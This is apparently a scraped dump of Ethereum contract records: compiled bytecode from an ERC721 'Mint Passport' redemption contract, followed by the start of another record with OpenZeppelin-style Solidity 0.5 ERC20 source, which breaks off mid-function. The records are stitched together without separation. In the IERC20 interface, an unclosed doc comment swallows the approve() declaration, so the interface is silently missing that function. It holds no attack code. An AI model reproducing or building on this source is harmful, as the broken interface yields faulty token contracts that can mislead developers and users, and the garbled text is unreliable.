12c46565b611894565b600061065e82611a9a565b90505b919050565b6060600080546106759061381d565b80601f01602080910402602001604051908101604052809291908181526020018280546106a19061381d565b80156106ee5780601f106106c3576101008083540402835291602001916106ee565b820191906000526020600020905b8154815290600101906020018083116106d157829003601f168201915b5050505050905090565b600061070382611abf565b6107285760405162461bcd60e51b815260040161071f906133cd565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061074f826110e2565b9050806001600160a01b0316836001600160a01b031614156107835760405162461bcd60e51b815260040161071f9061356b565b806001600160a01b0316610795611adc565b6001600160a01b031614806107b157506107b181610620611adc565b6107cd5760405162461bcd60e51b815260040161071f9061324b565b6107d78383611ae0565b505050565b60095490565b6107fa6000805160206138e083398151915233611255565b6108165760405162461bcd60e51b815260040161071f906135ac565b61081f82611abf565b61083b5760405162461bcd60e51b815260040161071f90612eab565b6000828152600d60209081526040909120825161085a928401906127f0565b50506000908152600d602052604090206001908101805460ff19169091179055565b61088d610887611adc565b82611b4e565b6108a95760405162461bcd60e51b815260040161071f90613626565b6107d7838383611bd3565b60009081526006602052604090206001015490565b6108d1611adc565b6001600160a01b03166108e2611241565b6001600160a01b0316146109085760405162461bcd60e51b815260040161071f90613419565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6109576040518060400160405280600c81526020016b3932b232b2b6b4b73397171760a11b815250611d00565b3332146109765760405162461bcd60e51b815260040161071f9061314a565b61097e6110d9565b1561099b5760405162461bcd60e51b815260040161071f90613543565b60005b83811015610c265760008383838181106109c857634e487b7160e01b600052603260045260246000fd5b90506020020135116109ec5760405162461bcd60e51b815260040161071f906135ef565b600e6000868684818110610a1057634e487b7160e01b600052603260045260246000fd5b90506020020135815260200190815260200160002060020154838383818110610a4957634e487b7160e01b600052603260045260246000fd5b905060200201351115610a6e5760405162461bcd60e51b815260040161071f906131d7565b828282818110610a8e57634e487b7160e01b600052603260045260246000fd5b60135460209091029290920135916001600160a01b0316905062fdd58e33888886818110610acc57634e487b7160e01b600052603260045260246000fd5b905060200201356040518363ffffffff1660e01b8152600401610af0929190612dc3565b60206040518083038186803b158015610b0857600080fd5b505afa158015610b1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b409190612be9565b1015610b5e5760405162461bcd60e51b815260040161071f90613082565b600e6000868684818110610b8257634e487b7160e01b600052603260045260246000fd5b905060200201358152602001908152602001600020600001544211610bb95760405162461bcd60e51b815260040161071f906132a8565b600e6000868684818110610bdd57634e487b7160e01b600052603260045260246000fd5b905060200201358152602001908152602001600020600101544210610c145760405162461bcd60e51b815260040161071f906134e6565b80610c1e81613858565b91505061099e565b50604080516020810190915260008082525b84811015610dd7576013546001600160a01b0316633aeca21033888885818110610c7257634e487b7160e01b600052603260045260246000fd5b90506020020135878786818110610c9957634e487b7160e01b600052603260045260246000fd5b905060200201356040518463ffffffff1660e01b8152600401610cbe93929190612ddc565b600060405180830381600087803b158015610cd857600080fd5b505af1158015610cec573d6000803e3d6000fd5b5050505060005b848483818110610d1357634e487b7160e01b600052603260045260246000fd5b90506020020135811015610d8557610d3433610d2f600c611d43565b611d47565b82610d47610d42600c611d43565b611d61565b604051602001610d58929190612cc2565b6040516020818303038152906040529250610d73600c611e7c565b80610d7d81613858565b915050610cf3565b50610dc56040518060400160405280601781526020017f6e657720746f6b656e204944732072656465656d65643a00000000000000000081525083611e85565b80610dcf81613858565b915050610c38565b50336001600160a01b03167fb2dcce7cfa3c79295325596a77d05aea7f6a0e73cc5fdebec4138151f90117a182604051610e119190612e11565b60405180910390a25050505050565b610e29826108b4565b610e3a81610e35611adc565b611eca565b6107d78383611f2e565b6000610e4f83611117565b8210610e6d5760405162461bcd60e51b815260040161071f90612f68565b506001600160a01b03821660009081526007602090815260408083208484529091529020545b92915050565b610ea1611adc565b6001600160a01b0316610eb2611241565b6001600160a01b031614610ed85760405162461bcd60e51b815260040161071f90613419565b8051610eeb9060109060208401906127f0565b5050565b610ef7611adc565b6001600160a01b0316816001600160a01b031614610f275760405162461bcd60e51b815260040161071f90613713565b610eeb8282611fb5565b600e6020526000908152604090208054600182015460029092015490919083565b80610f7457610f6f600080516020613900833981519152836116ea565b610eeb565b8060011415610eeb57610eeb6000805160206138e0833981519152836116ea565b610f9d611adc565b6001600160a01b0316610fae611241565b6001600160a01b031614610fd45760405162461bcd60e51b815260040161071f90613419565b610fdc61203a565b565b6107d7838383604051806020016040528060008152506114e1565b611004610887611adc565b6110205760405162461bcd60e51b815260040161071f906136c3565b611029816120a8565b50565b60006110366107dc565b82106110545760405162461bcd60e51b815260040161071f90613677565b6009828154811061107557634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b61108f611adc565b6001600160a01b03166110a0611241565b6001600160a01b0316146110c65760405162461bcd60e51b815260040161071f90613419565b8051610eeb90600f9060208401906127f0565b600b5460ff1690565b6000818152600260205260408120546001600160a01b03168061065e5760405162461bcd60e51b815260040161071f9061334f565b60006001600160a01b03821661113f5760405162461bcd60e51b815260040161071f90613305565b506001600160a01b031660009081526003602052604090205490565b6000805160206138e083398151915281565b611175611adc565b6001600160a01b0316611186611241565b6001600160a01b0316146111ac5760405162461bcd60e51b815260040161071f90613419565b610fdc600061214f565b6111be611adc565b6001600160a01b03166111cf611241565b6001600160a01b0316146111f55760405162461bcd60e51b815260040161071f90613419565b610fdc6121a9565b611205611adc565b6001600160a01b0316611216611241565b6001600160a01b03161461123c5760405162461bcd60e51b815260040161071f90613419565b601255565b600b5461010090046001600160a01b031690565b60009182526006602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6112986000805160206138e083398151915233611255565b6112a157600080fd5b8051610eeb9060119060208401906127f0565b6060600180546106759061381d565b600081565b6112d0611adc565b6001600160a01b0316826001600160a01b031614156113015760405162461bcd60e51b815260040161071f90613113565b806005600061130e611adc565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611352611adc565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161138a9190612dfd565b60405180910390a35050565b61139e611adc565b6001600160a01b03166113af611241565b6001600160a01b0316146113d55760405162461bcd60e51b815260040161071f90613419565b6000918252600e602052604090912060020155565b600d602052600090815260409020805481906114059061381d565b80601f01602080910402602001604051908101604052809291908181526020018280546114319061381d565b801561147e5780601f106114535761010080835404028352916020019161147e565b820191906000526020600020905b81548152906001019060200180831161146157829003601f168201915b5050506001909301549192505060ff1682565b6000816114b7576114b060008051602061390083398151915284611255565b9050610e93565b81600114156114d8576114b06000805160206138e083398151915284611255565b50600092915050565b6114f26114ec611adc565b83611b4e565b61150e5760405162461bcd60e51b815260040161071f90613626565b61151a84848484612204565b50505050565b6011805461152d9061381d565b80601f01602080910402602001604051908101604052809291908181526020018280546115599061381d565b80156115a65780601f1061157b576101008083540402835291602001916115a6565b820191906000526020600020905b81548152906001019060200180831161158957829003601f168201915b505050505081565b60606115b982611abf565b6115d55760405162461bcd60e51b815260040161071f90613497565b6000828152600d602052604090206001015460ff161561168d576000828152600d6020526040902080546116089061381d565b80601f01602080910402602001604051908101604052809291908181526020018280546116349061381d565b80156116815780601f1061165657610100808354040283529160200191611681565b820191906000526020600020905b81548152906001019060200180831161166457829003601f168201915b50505050509050610661565b600061169883612237565b905060008151116116b857604051806020016040528060008152506116e3565b806116c284611d61565b6040516020016116d3929190612c93565b6040516020818303038152906040525b9392505050565b6116f3826108b4565b6116ff81610e35611adc565b6107d78383611fb5565b8061172657610f6f60008051602061390083398151915283610e20565b8060011415610eeb57610eeb6000805160206138e083398151915283610e20565b6000818152600e60205260408120544211801561065e5750506000908152600e6020526040902060010154421090565b6013546001600160a01b031681565b61178e611adc565b6001600160a01b031661179f611241565b6001600160a01b0316146117c55760405162461bcd60e51b815260040161071f90613419565b6000918252600e602052604090912055565b6060601180546106759061381d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61181c611adc565b6001600160a01b031661182d611241565b6001600160a01b0316146118535760405162461bcd60e51b815260040161071f90613419565b6001600160a01b0381166118795760405162461bcd60e51b815260040161071f90613005565b6110298161214f565b60008051602061390083398151915281565b61189c611adc565b6001600160a01b03166118ad611241565b6001600160a01b0316146118d35760405162461bcd60e51b815260040161071f90613419565b6000918252600e602052604090912060010155565b606060006118f78360026137a4565b611902906002613778565b67ffffffffffffffff81111561192857634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611952576020820181803683370190505b509050600360fc1b8160008151811061197b57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106119b857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006119dc8460026137a4565b6119e7906001613778565b90505b6001811115611a7b576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611a2957634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110611a4d57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611a7481613806565b90506119ea565b5083156116e35760405162461bcd60e51b815260040161071f90612e76565b60006001600160e01b0319821663780e9d6360e01b148061065e575061065e8261225c565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611b15826110e2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611b5982611abf565b611b755760405162461bcd60e51b815260040161071f9061318b565b6000611b80836110e2565b9050806001600160a01b0316846001600160a01b03161480611bbb5750836001600160a01b0316611bb0846106f8565b6001600160a01b0316145b80611bcb5750611bcb81856117e6565b949350505050565b826001600160a01b0316611be6826110e2565b6001600160a01b031614611c0c5760405162461bcd60e51b815260040161071f9061344e565b6001600160a01b038216611c325760405162461bcd60e51b815260040161071f906130cf565b611c3d838383612281565b611c48600082611ae0565b6001600160a01b0383166000908152600360205260408120805460019290611c719084906137c3565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c9f908490613778565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61102981604051602401611d149190612e11565b60408051601f198184030181529190526020810180516001600160e01b031663104c13eb60e21b17905261228c565b5490565b610eeb8282604051806020016040528060008152506122ad565b606081611d8657506040805180820190915260018152600360fc1b6020820152610661565b8160005b8115611db05780611d9a81613858565b9150611da99050600a83613790565b9150611d8a565b60008167ffffffffffffffff811115611dd957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611e03576020820181803683370190505b5090505b8415611bcb57611e186001836137c3565b9150611e25600a86613873565b611e30906030613778565b60f81b818381518110611e5357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611e75600a86613790565b9450611e07565b80546001019055565b610eeb8282604051602401611e9b929190612e48565b60408051601f198184030181529190526020810180516001600160e01b0316634b5c427760e01b17905261228c565b611ed48282611255565b610eeb57611eec816001600160a01b031660146118e8565b611ef78360206118e8565b604051602001611f08929190612cfd565b60408051601f198184030181529082905262461bcd60e51b825261071f91600401612e11565b611f388282611255565b610eeb5760008281526006602090815260408083206001600160a01b03851684529091529020805460ff19166001179055611f71611adc565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b611fbf8282611255565b15610eeb5760008281526006602090815260408083206001600160a01b03851684529091529020805460ff19169055611ff6611adc565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6120426110d9565b61205e5760405162461bcd60e51b815260040161071f90612f3a565b600b805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612091611adc565b60405161209e9190612d72565b60405180910390a1565b60006120b3826110e2565b90506120c181600084612281565b6120cc600083611ae0565b6001600160a01b03811660009081526003602052604081208054600192906120f59084906137c3565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600b80546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6121b16110d9565b156121ce5760405162461bcd60e51b815260040161071f90613221565b600b805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612091611adc565b61220f848484611bd3565b61221b848484846122e0565b61151a5760405162461bcd60e51b815260040161071f90612fb3565b6060601254821061224f57600f80546116089061381d565b601080546116089061381d565b60006001600160e01b03198216637965db0b60e01b148061065e575061065e826123fb565b6107d783838361243b565b80516a636f6e736f6c652e6c6f67602083016000808483855afa5050505050565b6122b7838361246b565b6122c460008484846122e0565b6107d75760405162461bcd60e51b815260040161071f90612fb3565b60006122f4846001600160a01b031661254a565b156123f057836001600160a01b031663150b7a02612310611adc565b8786866040518563ffffffff1660e01b81526004016123329493929190612d86565b602060405180830381600087803b15801561234c57600080fd5b505af192505050801561237c575060408051601f3d908101601f1916820190925261237991810190612b9a565b60015b6123d6573d8080156123aa576040519150601f19603f3d011682016040523d82523d6000602084013e6123af565b606091505b5080516123ce5760405162461bcd60e51b815260040161071f90612fb3565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611bcb565b506001949350505050565b60006001600160e01b031982166380ac58cd60e01b148061242c57506001600160e01b03198216635b5e139f60e01b145b8061065e575061065e82612550565b612446838383612569565b61244e6110d9565b156107d75760405162461bcd60e51b815260040161071f90612eef565b6001600160a01b0382166124915760405162461bcd60e51b815260040161071f90613398565b61249a81611abf565b156124b75760405162461bcd60e51b815260040161071f9061304b565b6124c360008383612281565b6001600160a01b03821660009081526003602052604081208054600192906124ec908490613778565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b6001600160e01b031981166301ffc9a760e01b14919050565b6125748383836107d7565b6001600160a01b0383166125905761258b816125f2565b6125b3565b816001600160a01b0316836001600160a01b0316146125b3576125b38382612636565b6001600160a01b0382166125cf576125ca816126d3565b6107d7565b826001600160a01b0316826001600160a01b0316146107d7576107d782826127ac565b600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b6000600161264384611117565b61264d91906137c3565b6000838152600860205260409020549091508082146126a0576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b6009546000906126e5906001906137c3565b6000838152600a60205260408120546009805493945090928490811061271b57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806009838154811061274a57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600a9091526040808220849055858252812055600980548061279057634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006127b783611117565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b8280546127fc9061381d565b90600052602060002090601f01602090048101928261281e5760008555612864565b82601f1061283757805160ff1916838001178555612864565b82800160010185558215612864579182015b82811115612864578251825591602001919060010190612849565b50612870929150612874565b5090565b5b808211156128705760008155600101612875565b600067ffffffffffffffff808411156128a4576128a46138b3565b604051601f8501601f1916810160200182811182821017156128c8576128c86138b3565b6040528481529150818385018610156128e057600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b038116811461066157600080fd5b60008083601f840112612921578081fd5b50813567ffffffffffffffff811115612938578182fd5b602083019150836020808302850101111561295257600080fd5b9250929050565b600082601f830112612969578081fd5b6116e383833560208501612889565b600060208284031215612989578081fd5b6116e3826128f9565b600080604083850312156129a4578081fd5b6129ad836128f9565b91506129bb602084016128f9565b90509250929050565b6000806000606084860312156129d8578081fd5b6129e1846128f9565b92506129ef602085016128f9565b9150604084013590509250925092565b60008060008060808587031215612a14578081fd5b612a1d856128f9565b9350612a2b602086016128f9565b925060408501359150606085013567ffffffffffffffff811115612a4d578182fd5b8501601f81018713612a5d578182fd5b612a6c87823560208401612889565b91505092959194509250565b60008060408385031215612a8a578182fd5b612a93836128f9565b915060208301358015158114612aa7578182fd5b809150509250929050565b60008060408385031215612ac4578182fd5b612acd836128f9565b946020939093013593505050565b60008060008060408587031215612af0578384fd5b843567ffffffffffffffff80821115612b07578586fd5b612b1388838901612910565b90965094506020870135915080821115612b2b578384fd5b50612b3887828801612910565b95989497509550505050565b600060208284031215612b55578081fd5b5035919050565b60008060408385031215612b6e578182fd5b823591506129bb602084016128f9565b600060208284031215612b8f578081fd5b81356116e3816138c9565b600060208284031215612bab578081fd5b81516116e3816138c9565b600060208284031215612bc7578081fd5b813567ffffffffffffffff811115612bdd578182fd5b611bcb84828501612959565b600060208284031215612bfa578081fd5b5051919050565b60008060408385031215612c13578182fd5b82359150602083013567ffffffffffffffff811115612c30578182fd5b612c3c85828601612959565b9150509250929050565b60008060408385031215612c58578182fd5b50508035926020909101359150565b60008151808452612c7f8160208601602086016137da565b601f01601f19169290920160200192915050565b60008351612ca58184602088016137da565b835190830190612cb98183602088016137da565b01949350505050565b60008351612cd48184602088016137da565b835190830190612ce88183602088016137da565b600b60fa1b9101908152600101949350505050565b60007f416363657373436f6e74726f6c3a206163636f756e742000000000000000000082528351612d358160178501602088016137da565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351612d668160288401602088016137da565b01602801949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612db990830184612c67565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b90815260200190565b6000602082526116e36020830184612c67565b600060408252612e376040830185612c67565b905082151560208301529392505050565b600060408252612e5b6040830185612c67565b8281036020840152612e6d8185612c67565b95945050505050565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b60208082526024908201527f4552433732314d657461646174613a20546f6b656e20646f6573206e6f7420656040820152631e1a5cdd60e21b606082015260800190565b6020808252602b908201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760408201526a1a1a5b19481c185d5cd95960aa1b606082015260800190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252602d908201527f52656465656d3a20696e73756666696369656e7420616d6f756e74206f66204d60408201526c696e742050617373706f72747360981b606082015260800190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b60208082526021908201527f52656465656d3a206e6f7420616c6c6f7765642066726f6d20636f6e747261636040820152601d60fa1b606082015260800190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252602a908201527f52656465656d3a206d61782072656465656d20706572207472616e73616374696040820152691bdb881c995858da195960b21b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b60208082526038908201527f52656465656d3a20726564657074696f6e2077696e646f77206e6f74206f706560408201527f6e20666f722074686973204d696e742050617373706f72740000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526039908201527f52656465656d3a20726564657074696f6e2077696e646f7720697320636c6f7360408201527f656420666f722074686973204d696e742050617373706f727400000000000000606082015260800190565b6020808252600e908201526d14995919595b4e881c185d5cd95960921b604082015260600190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526023908201527f4163636573733a2073656e64657220646f6573206e6f7420686176652061636360408201526265737360e81b606082015260800190565b6020808252601d908201527f52656465656d3a20616d6f756e742063616e6e6f74206265207a65726f000000604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b60208082526030908201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760408201526f1b995c881b9bdc88185c1c1c9bdd995960821b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b9283526020830191909152604082015260600190565b6000821982111561378b5761378b613887565b500190565b60008261379f5761379f61389d565b500490565b60008160001904831182151516156137be576137be613887565b500290565b6000828210156137d5576137d5613887565b500390565b60005b838110156137f55781810151838201526020016137dd565b8381111561151a5750506000910152565b60008161381557613815613887565b506000190190565b60028104600182168061383157607f821691505b6020821081141561385257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561386c5761386c613887565b5060010190565b6000826138825761388261389d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461102957600080fdfe4677892cca7c7cae1e003bb0c9afe76755f46f9bdfed523c219b78c059b56d727134ed5ff49271deb044fbad11674069fc122f9be1f0042e7622ee9ab85706c2a264697066735822122070631e823d89ba5258bbf0e8cd84213617d414b84c4335c747cee12c8059e88064736f6c63430008000033
[ 5 ]
0xf2c1bd99b73b693a9a073cf596382c6a7e551cc8
pragma solidity ^0.5.0; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. * function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns 